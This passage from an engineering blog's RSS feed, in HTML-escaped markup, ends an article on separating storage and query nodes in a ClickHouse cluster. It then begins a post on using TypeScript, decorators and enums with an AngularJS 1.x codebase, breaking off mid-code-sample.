nodes.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;div style=&quot;text-align:center; margin: 10px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5e8cfa354ca7672b1116223b31795262/5e93d/clickhouse-query-engine-new-arch.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 61.27167630057804%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsSAAALEgHS3X78AAABC0lEQVQoz3WTCQrFMAhEvf9Vu+97/TxhSshvBWlixslErd337bljfM/z9G3bvCxL7/s+9rjO3/LMPwzAcRw+z7PXde3jOPq+735d1yceNy0ASgGJKFvXNQghJs4eZ6+YyGQGoGkaX5YlwKgRyTAMoYzLdLHwYHDlTtMUWAPMhhqpXnxJBkgCGDmquJQz9pyDZ40IyxvQtm1cwLOlgDhgYhChpOu6pyycPU1JuwoRBCKEnEQloIIyVFUVl0EGOWvV09IOYdwKCaYn5d0kJoL8zPLZ09P4Qgh5URShivpKjUbobw5zwrT4GhWaoJGBiLjI/sYmlftmJKsEXwOdmqXBXD5kNAiF6V/y9pvKfqrVr71pCBeEAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;clickhouse query engine new arch&quot; title=&quot;clickhouse query engine new arch&quot; src=&quot;/static/5e8cfa354ca7672b1116223b31795262/1e043/clickhouse-query-engine-new-arch.png&quot; srcset=&quot;/static/5e8cfa354ca7672b1116223b31795262/991de/clickhouse-query-engine-new-arch.png 173w, /static/5e8cfa354ca7672b1116223b31795262/e4d6b/clickhouse-query-engine-new-arch.png 345w, /static/5e8cfa354ca7672b1116223b31795262/1e043/clickhouse-query-engine-new-arch.png 690w, /static/5e8cfa354ca7672b1116223b31795262/e3189/clickhouse-query-engine-new-arch.png 1035w, /static/5e8cfa354ca7672b1116223b31795262/b1001/clickhouse-query-engine-new-arch.png 1380w, /static/5e8cfa354ca7672b1116223b31795262/5e93d/clickhouse-query-engine-new-arch.png 4611w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;h2 id=&quot;benefits&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#benefits&quot; aria-label=&quot;benefits permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Benefits:&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Optimized Resource Utilization:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;By separating storage and query responsibilities, each layer can be optimized independently. Storage nodes are dedicated to handling data persistence, while query/computation nodes focus on processing queries, reducing resource contention.&lt;/li&gt; &lt;li&gt;Since query nodes are automatically horizontally scalable, only the required number of query nodes are running at the moment as per the current production load. As the load increases, the number of nodes also temporarily increases to not let the customer experience degrade. &lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Improved Scalability:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The CH Storage Nodes layer is designed to scale vertically, which is beneficial for heavy storage demands. The CH Query/Computation Nodes layer, on the other hand, supports both horizontal and vertical scaling, allowing the system to handle more queries and distribute the computation load efficiently.&lt;/li&gt; &lt;li&gt;This architecture can scale by adding more computation nodes without increasing the resources on the storage layer.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Enhanced Fault Tolerance:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Using the Replicated Merge Tree for circular replication within the storage nodes ensures data redundancy and availability. In case of a node failure, other nodes in the replication circle can serve the data, enhancing resilience.&lt;/li&gt; &lt;li&gt;Our computation nodes are designed for high availability, ensuring uninterrupted service. If one node goes down, other nodes seamlessly take over query processing, maintaining reliability and minimizing downtime.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Efficient Query Performance:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;The Distributed Engine in the computation nodes enables parallel query execution across multiple storage nodes, improving performance. Query nodes aggregate data before sending the results back, reducing the amount of data transferred to Read Layer and speeding up query response times.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;results&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#results&quot; aria-label=&quot;results permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Results&lt;/h2&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Performance:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;No observable impact on simple aggregate query response times.&lt;/li&gt; &lt;li&gt;Complex queries executed 10-15% faster, thanks to the dedicated computational capacity of the query nodes.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Cost Savings:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Write nodes now utilize lower-specification hardware, reducing operational expenses by 50%.&lt;/li&gt; &lt;li&gt;Horizontal scalability of query nodes allowed incremental scaling, avoiding large upfront investments.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Operational Improvements:&lt;/strong&gt;&lt;/p&gt; &lt;ul&gt; &lt;li&gt;Simplified node management with distinct roles for storage and computation.&lt;/li&gt; &lt;li&gt;Enhanced fault tolerance as data intensive query failures no longer affect write operations directly.&lt;/li&gt; &lt;/ul&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;CPU Usages:&lt;/strong&gt;&lt;/p&gt; &lt;ol&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Clickhouse Storage Nodes of old architecture:&lt;/strong&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 20px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/5abafed3c800df5753e2e7911a4cf4cf/b7a14/clickhouse-query-engine-figure3.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 52.02312138728323%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAABYlAAAWJQFJUiTwAAABRUlEQVQoz4VSW26EMAzM/U/WC/Szn9WCtMtCyDsOU9sQ6FZVizSKH+OJcWyGccQaCU9P8KmhbRu2f1BqQyo7QiL2K94/C94+EkyMETE3OBartKE1BhdIodqtvcROcGyjBmD35RQY6LedCSmusR52A4kgi1XuZMMuJH9B5UeMIVyzi12ymsh0+GxLN3TFOo/4klbaFTsaMMlnxDVBT5exPgP8HF5iavPpbYRfEjz7fo5wzF0n5tukdbUQzDwvEFi7IgYujCwQE0LgAhfwuE8YbiPsYjWv4HxK+eTK6X1AzhnGOYfFWpRSQET8MKQzWjl+GwbNhRBYIGlO5iS87xC+815rTOBXFrE+h/3FoALT9OSC1zn9hs6PDLPfns9kOwiyTvfHQzvo8b8EhS9j0j2Uf++vJBBbbpzn+RLs+9h3s6/VkRe+4AvM5xF0wKrPbwAAAABJRU5ErkJggg==&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;clickhouse query engine figure3&quot; title=&quot;clickhouse query engine figure3&quot; src=&quot;/static/5abafed3c800df5753e2e7911a4cf4cf/1e043/clickhouse-query-engine-figure3.png&quot; srcset=&quot;/static/5abafed3c800df5753e2e7911a4cf4cf/991de/clickhouse-query-engine-figure3.png 173w, /static/5abafed3c800df5753e2e7911a4cf4cf/e4d6b/clickhouse-query-engine-figure3.png 345w, /static/5abafed3c800df5753e2e7911a4cf4cf/1e043/clickhouse-query-engine-figure3.png 690w, /static/5abafed3c800df5753e2e7911a4cf4cf/e3189/clickhouse-query-engine-figure3.png 1035w, /static/5abafed3c800df5753e2e7911a4cf4cf/b1001/clickhouse-query-engine-figure3.png 1380w, /static/5abafed3c800df5753e2e7911a4cf4cf/b7a14/clickhouse-query-engine-figure3.png 2864w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;li&gt; &lt;p&gt;&lt;strong&gt;Clickhouse Storage Nodes of New Architecture:&lt;/strong&gt;&lt;/p&gt; &lt;div style=&quot;text-align:center; margin: 20px;&quot;&gt; &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 690px; &quot;&gt; &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/e940454244b0dba4c653c2c461c3ff90/f3a19/clickhouse-query-engine-figure4.png&quot; style=&quot;display: block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt; &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom: 125.4335260115607%; position: relative; bottom: 0; left: 0; background-image: url(&amp;apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAZCAYAAAAxFw7TAAAACXBIWXMAABYlAAAWJQFJUiTwAAAB8klEQVQ4y61Ui3LbIBD0/39iOp4mqVtbkvUCAUKAtnenQtzWk0nkMLMjxGO521s4pJSwC+ta+iv1Y0xwPuGwj5AJ4g1ZRAj0vwIHHtgDvyyFMIQg4LabcLkhlAgJuwm5ZUJu/I17CdOdlJmsEMYYsP6Z+JyG/r+iCGE/dkhhm0jvEqP0AwVhpmlbTyR/EXZ9h+BT0SZvZmuwTt5vmOeZvl7mOLr6WmEJC62ZkciDpSiDHjHxaTToZydflsE6h7bt0HUdrLXQWsPRWEpRDlNaoWkrtEMHY00p0CHEBdoo9GOPQQ0bqG9o87m54nI+4xfhdDoJKR/e9wMsHa7MIBGbeXrzoTieojLGiA6cZlgiPKXz8vMZP15POB6PeHr6hrppMI4j6romCTwcybBV+E37Yhs+QcJmKQkivDMkg5dUOW3xG61jLbP3OAAGr5EIjXVgWDdLmvmf4YjMUhROovGyJkP20Fw/jPj+/IKqbjZCNui78Df4Z26haEelSOMLNGkrhNjZss20nsgJvaT90OOQbaKURkNuYF2FkD21Dxshu+N6baXqD0WYU54mIxeANf4aQoqQje6/SkNOmYvycMqZkFOuyYOlKB/dfO9p42bJ4Bzhhwnv+W87ZJtzdGs+VRQWnB+FS1WV10buLl87msvvZI7wN3YdsMlJ5ASTAAAAAElFTkSuQmCC&amp;apos;); background-size: cover; display: block;&quot;&gt;&lt;/span&gt; &lt;img class=&quot;gatsby-resp-image-image&quot; alt=&quot;clickhouse query engine figure4&quot; title=&quot;clickhouse query engine figure4&quot; src=&quot;/static/e940454244b0dba4c653c2c461c3ff90/1e043/clickhouse-query-engine-figure4.png&quot; srcset=&quot;/static/e940454244b0dba4c653c2c461c3ff90/991de/clickhouse-query-engine-figure4.png 173w, /static/e940454244b0dba4c653c2c461c3ff90/e4d6b/clickhouse-query-engine-figure4.png 345w, /static/e940454244b0dba4c653c2c461c3ff90/1e043/clickhouse-query-engine-figure4.png 690w, /static/e940454244b0dba4c653c2c461c3ff90/e3189/clickhouse-query-engine-figure4.png 1035w, /static/e940454244b0dba4c653c2c461c3ff90/f3a19/clickhouse-query-engine-figure4.png 1086w&quot; sizes=&quot;(max-width: 690px) 100vw, 690px&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot; loading=&quot;lazy&quot;&gt; &lt;/a&gt; &lt;/span&gt; &lt;/div&gt; &lt;/li&gt; &lt;/ol&gt; &lt;/li&gt; &lt;/ol&gt; &lt;h2 id=&quot;conclusion&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#conclusion&quot; aria-label=&quot;conclusion permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Conclusion&lt;/h2&gt; &lt;ul&gt; &lt;li&gt;Separating storage and computation in our ClickHouse cluster has revolutionized our infrastructure. By leveraging distributed query engines, we achieved both &lt;strong&gt;cost reduction&lt;/strong&gt; and &lt;strong&gt;improved scalability&lt;/strong&gt; without compromising performance. This architecture not only meets current demands but also provides a &lt;strong&gt;solid foundation for future growth&lt;/strong&gt;.&lt;/li&gt; &lt;li&gt;This transition underscores the value of re-evaluating and optimizing architectural designs. For organizations relying on ClickHouse or similar systems, decoupling storage and computation &lt;strong&gt;offers a compelling path&lt;/strong&gt; toward &lt;strong&gt;operational efficiency&lt;/strong&gt;.&lt;/li&gt; &lt;/ul&gt;</content:encoded><author>Vasu Gupta</author></item><item><title><![CDATA[How we are writing modern Javascript with AngularJs]]></title><description><![CDATA[Preface Writing slick user interfaces has never been so delightful as it is now. You’ve got amazing frameworks, state management patterns…]]></description><link>https://engineering.wingify.com//posts/how-we-writing-modern-javascript-with-angularjs-1-x/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/how-we-writing-modern-javascript-with-angularjs-1-x/</guid><pubDate>Wed, 22 Mar 2023 00:00:00 GMT</pubDate><content:encoded>&lt;div class=&quot;img-wrapper&quot; style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;40%&quot; src=&quot;/images/2023/01/angular-sword.jpeg&quot; alt=&quot;Angular sword meme&quot;&gt; &lt;/div&gt; &lt;h2 id=&quot;preface&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#preface&quot; aria-label=&quot;preface permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Preface&lt;/h2&gt; &lt;p&gt;Writing slick user interfaces has never been so delightful as it is now. You’ve got amazing frameworks, state management patterns that are easy to reason about, development tools, awesome community support, and all the tools around the whole Javascript world. The &lt;em&gt;Developer Experience (DX)&lt;/em&gt; you get today, no matter what modern stack you choose, is simply great. Features like &lt;em&gt;compile-time error detection&lt;/em&gt;, &lt;em&gt;pre-processors&lt;/em&gt;, and &lt;em&gt;hot-reload&lt;/em&gt; are just taken for granted and undoubtedly cut development time by a large margin.&lt;/p&gt; &lt;p&gt;Unfortunately, not every software product has the advantage of being developed in such an ideal setting. This shiny JS world was just lit by a few stars like &lt;em&gt;AngularJS&lt;/em&gt; when we started writing the new user interface for VWO which now has evolved into a very large codebase with uncountable features and has been consistently updated and maintained over the years. &lt;/p&gt; &lt;p&gt;With AngularJS 1.x, we were required to develop our own build system and use custom pre-processors and transpilers to achieve the same capabilities that modern frameworks provide natively. In short, we had to handle the &lt;em&gt;developer experience&lt;/em&gt; aspect internally, and we have managed to do so quite effectively.&lt;/p&gt; &lt;p&gt;Although AngularJs is too old to be used for any web application today, over time we have learned how to use it in a modern way.&lt;/p&gt; &lt;p&gt;In this blog post, we will discuss how we write modern Javascript along with AngularJS 1.x and discuss some of the key features and tools that we leverage to make development more efficient and maintainable.&lt;/p&gt; &lt;h2 id=&quot;typescript&quot; style=&quot;position:relative;&quot;&gt;&lt;a href=&quot;#typescript&quot; aria-label=&quot;typescript permalink&quot; class=&quot;anchor before&quot;&gt;&lt;svg aria-hidden=&quot;true&quot; focusable=&quot;false&quot; height=&quot;16&quot; version=&quot;1.1&quot; viewBox=&quot;0 0 16 16&quot; width=&quot;16&quot;&gt;&lt;path fill-rule=&quot;evenodd&quot; d=&quot;M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z&quot;&gt;&lt;/path&gt;&lt;/svg&gt;&lt;/a&gt;Typescript&lt;/h2&gt; &lt;p&gt;Using JavaScript for web-dev is like playing on hardcore-mode. You&apos;ve allowed friendly-fire. If you want to shoot yourself in the foot, you can shoot yourself in the foot. We&apos;re not up for that. We love our foot and also want to keep VWO running bug-free and that is why we use Typescript.&lt;/p&gt; &lt;p&gt;Typescript needs no introduction and we started the process of migrating our app codebase to TS around 3 years back, although it wasn’t straightforward as we had been using a lot of legacy patterns like &lt;em&gt;AMD (asynchronous module definition)&lt;/em&gt; with &lt;em&gt;requireJS&lt;/em&gt; and a very custom build process that involved &lt;em&gt;Grunt&lt;/em&gt; and older version of &lt;em&gt;NodeJs&lt;/em&gt; to build it.&lt;/p&gt; &lt;p&gt;We wanted to use &lt;em&gt;ES import syntax&lt;/em&gt; with strong types but all we saw was:&lt;/p&gt; &lt;div class=&quot;img-wrapper&quot; style=&quot;text-align: center;&quot;&gt; &lt;img width=&quot;40%&quot; src=&quot;/images/2023/01/define-define.jpg&quot; alt=&quot;DEFINE DEFINE EVERYWHERE&quot;&gt; &lt;/div&gt; &lt;p&gt;We analyzed the &lt;a href=&quot;https://www.typescriptlang.org/docs/handbook/compiler-options.html&quot; target=&quot;_blank&quot;&gt;tscompiler options&lt;/a&gt; and set the &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/tsconfig/#target&quot;&gt;target&lt;/a&gt; to AMD and wrote a custom process to rename all JS files to TS and applied &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#-ts-nocheck-in-typescript-files&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;// @ts-nocheck&lt;/code&gt; directive&lt;/a&gt; on the top without touching the source code at all. This way the whole team could write TS for new files and writing TS was opt-in for older files.&lt;/p&gt; &lt;p&gt;Although, we had to keep &lt;code class=&quot;language-text&quot;&gt;tsconfig.json&lt;/code&gt; very lenient at the start with compiler options that enforced strict code had to be turned off. New files could be written with the modern ES import syntax and older files could be manually translated.&lt;/p&gt; &lt;p&gt;After some time, we realized that manual translation from AMD to ES would take an eternity to complete, we looked for solutions and luckily found a &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/facebook/jscodeshift&quot;&gt;JScodeshift&lt;/a&gt; that could &lt;a target=&quot;_blank&quot; href=&quot;https://github.com/5to6/5to6-codemod&quot;&gt;transform AMD to ES&lt;/a&gt;&lt;/p&gt; &lt;p&gt;As time passed by, our team gradually adopted Typescript and leveraged its countless features, resulting in a codebase that is exceptionally type-safe.&lt;/p&gt; &lt;p&gt;For example, the &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/docs/handbook/release-notes/typescript-3-7.html#optional-chaining&quot;&gt;optional chaining operator&lt;/a&gt; allows us to access the properties of an object without worrying about whether the object is null or undefined. This can save a lot of time and effort when working with complex objects, as it eliminates the need to check for null or undefined values at every level.&lt;/p&gt; &lt;p&gt;We also wrote &lt;em&gt;TS decorators&lt;/em&gt; for class methods and they just work wonders for us.&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;@&lt;span class=&quot;token function&quot;&gt;memoize&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; cacheKeyResolver&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;JSON&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;stringify &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; @&lt;span class=&quot;token function&quot;&gt;batchify&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; batchKey&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;ids&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; maxBatchCapacity&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; maxWait&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1000&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; @&lt;span class=&quot;token function&quot;&gt;asyncThrottle&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; MaxRequestCount&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; isLIFO&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean&quot;&gt;true&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;getCampaignsDetails&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token parameter&quot;&gt;params&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; QueryForListParams&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;CampaignResource&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;queryForCampaignsList&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; params&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt; &lt;p&gt;We use multiple decorators as shown above which help us separate out the business logics and performance improvements. Not only this helps us maintain the code, but also makes the code easy to follow and &lt;strong&gt;self-documenting&lt;/strong&gt;. &lt;/p&gt; &lt;blockquote&gt; &lt;p&gt; &lt;strong&gt;Code is like humor. When you have to explain it, it&apos;s bad!&lt;/strong&gt; &lt;/p&gt; &lt;/blockquote&gt; &lt;p&gt;Apart from this, we utilize &lt;code class=&quot;language-text&quot;&gt;enums&lt;/code&gt; and the new &lt;a target=&quot;_blank&quot; href=&quot;https://www.typescriptlang.org/docs/handbook/release-notes/typescript-4-9.html#the-satisfies-operator&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;satisfies&lt;/code&gt;&lt;/a&gt; operator to make &lt;strong&gt;deeply typesafe code.&lt;/strong&gt;&lt;/p&gt; &lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;ts&quot;&gt;&lt;pre class=&quot;language-ts&quot;&gt;&lt;code class=&quot;language-ts&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;enum&lt;/span&gt; SessionPlatform &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;MOBILE&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;mobile&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;TABLET&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&apos;tablet&apos;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; SessionPlatformDetails &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;SessionPlatform&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;MOBILE&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; icon&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; IconEnum&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token 